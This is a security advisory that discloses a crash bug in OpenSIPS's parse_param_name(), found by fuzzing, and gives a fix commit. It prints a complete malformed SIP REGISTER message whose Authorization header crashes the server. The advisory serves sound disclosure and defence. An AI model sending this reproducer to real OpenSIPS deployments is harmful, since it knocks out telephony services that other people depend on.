Impact

A specially crafted Authorization header causes OpenSIPS to crash or behave in an unexpected way
due to a bug in the function parse_param_name() .

This issue was discovered while performing coverage guided fuzzing of the function parse_msg. The
AddressSanitizer identified that the issue occurred in the function q_memchr() which is being called by the
function parse_param_name().

This issue could be reproduced by sending the following SIP message to OpenSIPS:

REGISTER sip:172.27.0.3 SIP/2.0<CRLF>
Via: SIP/2.0/UDP 172.27.0.1:58896;rport;branch=z9hG4bK-83ZZolARa<CRLF>
Max-Forwards: 70<CRLF>
From: <sip:[email protected]>;tag=nNkDsaHAhAybPyt8<CRLF>
To: <sip:[email protected]><CRLF>
Call-ID: 83ZZolAa<CRLF>
CSeq: 9 REGISTER<CRLF>
Contact: <sip:[email protected]:58896;transport=udp><CRLF>
Expires: 60<CRLF>
Content-Length: 0<CRLF>
Authorization: Digest a a=\"\",real<CRLF>
<CRLF>

This malformed message was tested against an instance of OpenSIPS and was found to crash the server.

This issue may cause erratic program behaviour or a server crash. It affects configurations containing
functions that make use of the affected code, such as the function www_authorize() .

Solutions and Recommendations

This issue was fixed in commit dd9141b which was tested and found to address the issue. For more info, refer to the Audit Document section 3.4.

For more information

If you have any questions or comments about this advisory:

• Open an issue in the OpenSIPS GitHub
• Email us at [email protected]